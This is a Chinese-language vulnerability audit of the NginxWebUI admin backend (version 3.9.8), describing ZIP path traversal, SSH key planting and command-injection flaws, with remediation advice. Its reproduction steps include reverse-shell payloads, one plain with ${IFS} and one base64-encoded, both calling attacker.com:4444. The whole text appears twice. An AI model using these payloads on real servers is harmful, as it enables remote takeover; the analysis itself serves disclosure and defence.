nginxwebui后台rce审计
字数 2340 2025-08-05 08:18:25

NginxWebUI 后台 RCE 漏洞审计与分析

前言

本文详细分析了 NginxWebUI 后台存在的多个远程代码执行(RCE)漏洞,包括 ZIP 自解压漏洞、ZIP 目录穿越漏洞、命令执行绕过漏洞以及多个代码执行点。审计版本为 3.9.8,最新 3.9.9 版本仍未修复这些漏洞。

漏洞详情

0x01 ZIP 自解压漏洞

漏洞位置: com.cym.controller.adminPage.MainController#upload

漏洞分析:

  1. 上传功能将文件保存到临时目录(FileUtil.getTmpDir() + '/' + 文件名),未限制文件后缀
  2. 前端限制 ZIP 上传但后端未验证
  3. 解压功能(com.cym.controller.adminPage.WwwController#addOver)允许控制解压目录和文件

利用方法:

  1. 上传包含 SSH 公钥的 ZIP 文件到临时目录
  2. 选择解压到 .ssh 目录
  3. 使用公钥直接登录

复现步骤:

  1. 准备包含 SSH 公钥的 ZIP 文件
  2. 通过前端上传
  3. 在后台选择解压到 /root/.ssh 或相应用户的 .ssh 目录
  4. 使用对应私钥登录

0x02 ZIP 目录穿越漏洞

漏洞位置: cn.hutool.core.util.ZipUtil#unzip

漏洞分析:

  1. 解压前会检查目标目录是否已存在(数据库查询)
  2. ZipEntry 未过滤 ../,存在目录穿越
  3. 可通过指定新目录绕过重复检查

利用方法:

  1. 创建包含目录穿越路径的 ZIP 文件(如 ../../etc/cron.d/exploit)
  2. 上传并指定一个未使用过的解压目录
  3. 文件将被解压到系统任意位置

复现步骤:

  1. 创建恶意 ZIP 文件(如使用 zip -r exploit.zip ../../../etc/cron.d/exploit)
  2. 上传 ZIP 文件
  3. 在解压界面指定一个新目录(确保数据库中没有记录)
  4. 文件将被解压到 /etc/cron.d/ 等系统目录

0x03 runCmd 绕过造成命令执行

漏洞位置: com.cym.controller.adminPage.ConfController#runCmd

漏洞分析:

  1. 命令执行前会进行过滤(isAvailableCmd)
  2. 过滤逻辑依赖三个可控值(nginxPath, nginxExe, nginxDir)
  3. 可通过特殊字符绕过过滤(如 Linux 使用 $(IFS) 代替空格)

利用方法:

  1. 修改 nginxExe 等值为恶意命令
  2. 使用特殊字符绕过过滤
  3. 或者写入 webshell 后用 bash 执行

复现步骤:

  1. 修改 nginxExe 为恶意命令(如 /bin/bash${IFS}-c${IFS}"bash${IFS}-i${IFS}>&${IFS}/dev/tcp/attacker.com/4444${IFS}0>&1")
  2. 或者写入 webshell 到临时目录后执行
  3. 获取反向 shell

0x04 reload 代码执行

漏洞位置: com.cym.controller.adminPage.ConfController#reload

漏洞分析:

  1. 参数完全可控且无过滤
  2. 直接拼接执行命令
  3. 通过 RuntimeUtil#exec 执行

利用方法:

  1. 构造 Java 格式的代码执行 payload
  2. 通过 reload 功能触发

复现步骤:

  1. 构造如 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} 的 payload
  2. 通过 reload 接口提交
  3. 获取反向 shell

0x05 check 代码执行

漏洞位置: com.cym.controller.adminPage.ConfController#check

漏洞分析:

  1. 类似 reload 功能,参数完全可控
  2. 通过 execForStr 执行命令
  3. 只需设置 nginxExe 即可触发

利用方法:

  1. 设置 nginxExe 为恶意命令
  2. 保持其他参数默认
  3. 触发代码执行

复现步骤:

  1. 构造反弹 shell payload
  2. 设置 nginxExe 为该 payload
  3. 触发 check 功能获取 shell

修复建议

  1. 命令执行防护:

    • 过滤 Linux 特殊字符如 ${IFS}
    • 转义所有 shell 元字符 #&;,|*?~<>^()[]{}$`
    • 禁用直接创建 shell 的命令(bash/sh/dash)
  2. ZIP 文件处理:

    • 检查 ZipEntry.getName() 是否包含 ../..
    • 解压目录应写死,不可用户控制
  3. 输入验证:

    • 严格验证 nginxPathnginxExenginxDir
    • nginxPathnginxDir 应验证是否为合法目录
    • nginxExe 应使用白名单或写死
  4. 文件上传:

    • 后端应验证文件类型
    • 存储到临时目录时应检查路径穿越和文件后缀
    • 建议使用随机文件名
  5. 其他:

    • 更新 Hutool 等依赖库
    • 实施最小权限原则
    • 对敏感操作增加二次验证

总结

NginxWebUI 后台存在多处严重的远程代码执行漏洞,攻击者可以完全控制服务器。建议用户立即采取防护措施或暂时停用该系统,等待官方发布安全更新。开发者应全面审查代码中的命令执行点,实施严格的输入验证和输出编码。

NginxWebUI 后台 RCE 漏洞审计与分析 前言 本文详细分析了 NginxWebUI 后台存在的多个远程代码执行(RCE)漏洞,包括 ZIP 自解压漏洞、ZIP 目录穿越漏洞、命令执行绕过漏洞以及多个代码执行点。审计版本为 3.9.8,最新 3.9.9 版本仍未修复这些漏洞。 漏洞详情 0x01 ZIP 自解压漏洞 漏洞位置 : com.cym.controller.adminPage.MainController#upload 漏洞分析 : 上传功能将文件保存到临时目录( FileUtil.getTmpDir() + '/' + 文件名 ),未限制文件后缀 前端限制 ZIP 上传但后端未验证 解压功能( com.cym.controller.adminPage.WwwController#addOver )允许控制解压目录和文件 利用方法 : 上传包含 SSH 公钥的 ZIP 文件到临时目录 选择解压到 .ssh 目录 使用公钥直接登录 复现步骤 : 准备包含 SSH 公钥的 ZIP 文件 通过前端上传 在后台选择解压到 /root/.ssh 或相应用户的 .ssh 目录 使用对应私钥登录 0x02 ZIP 目录穿越漏洞 漏洞位置 : cn.hutool.core.util.ZipUtil#unzip 漏洞分析 : 解压前会检查目标目录是否已存在(数据库查询) ZipEntry 未过滤 ../ ,存在目录穿越 可通过指定新目录绕过重复检查 利用方法 : 创建包含目录穿越路径的 ZIP 文件(如 ../../etc/cron.d/exploit ) 上传并指定一个未使用过的解压目录 文件将被解压到系统任意位置 复现步骤 : 创建恶意 ZIP 文件(如使用 zip -r exploit.zip ../../../etc/cron.d/exploit ) 上传 ZIP 文件 在解压界面指定一个新目录(确保数据库中没有记录) 文件将被解压到 /etc/cron.d/ 等系统目录 0x03 runCmd 绕过造成命令执行 漏洞位置 : com.cym.controller.adminPage.ConfController#runCmd 漏洞分析 : 命令执行前会进行过滤( isAvailableCmd ) 过滤逻辑依赖三个可控值( nginxPath , nginxExe , nginxDir ) 可通过特殊字符绕过过滤(如 Linux 使用 $(IFS) 代替空格) 利用方法 : 修改 nginxExe 等值为恶意命令 使用特殊字符绕过过滤 或者写入 webshell 后用 bash 执行 复现步骤 : 修改 nginxExe 为恶意命令(如 /bin/bash${IFS}-c${IFS}"bash${IFS}-i${IFS}>&${IFS}/dev/tcp/attacker.com/4444${IFS}0>&1" ) 或者写入 webshell 到临时目录后执行 获取反向 shell 0x04 reload 代码执行 漏洞位置 : com.cym.controller.adminPage.ConfController#reload 漏洞分析 : 参数完全可控且无过滤 直接拼接执行命令 通过 RuntimeUtil#exec 执行 利用方法 : 构造 Java 格式的代码执行 payload 通过 reload 功能触发 复现步骤 : 构造如 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} 的 payload 通过 reload 接口提交 获取反向 shell 0x05 check 代码执行 漏洞位置 : com.cym.controller.adminPage.ConfController#check 漏洞分析 : 类似 reload 功能,参数完全可控 通过 execForStr 执行命令 只需设置 nginxExe 即可触发 利用方法 : 设置 nginxExe 为恶意命令 保持其他参数默认 触发代码执行 复现步骤 : 构造反弹 shell payload 设置 nginxExe 为该 payload 触发 check 功能获取 shell 修复建议 命令执行防护 : 过滤 Linux 特殊字符如 ${IFS} 转义所有 shell 元字符 #&; ,|* ?~<>^()[ ]{}$\` 禁用直接创建 shell 的命令(bash/sh/dash) ZIP 文件处理 : 检查 ZipEntry.getName() 是否包含 ../ 或 .. 解压目录应写死,不可用户控制 输入验证 : 严格验证 nginxPath 、 nginxExe 、 nginxDir nginxPath 和 nginxDir 应验证是否为合法目录 nginxExe 应使用白名单或写死 文件上传 : 后端应验证文件类型 存储到临时目录时应检查路径穿越和文件后缀 建议使用随机文件名 其他 : 更新 Hutool 等依赖库 实施最小权限原则 对敏感操作增加二次验证 总结 NginxWebUI 后台存在多处严重的远程代码执行漏洞,攻击者可以完全控制服务器。建议用户立即采取防护措施或暂时停用该系统,等待官方发布安全更新。开发者应全面审查代码中的命令执行点,实施严格的输入验证和输出编码。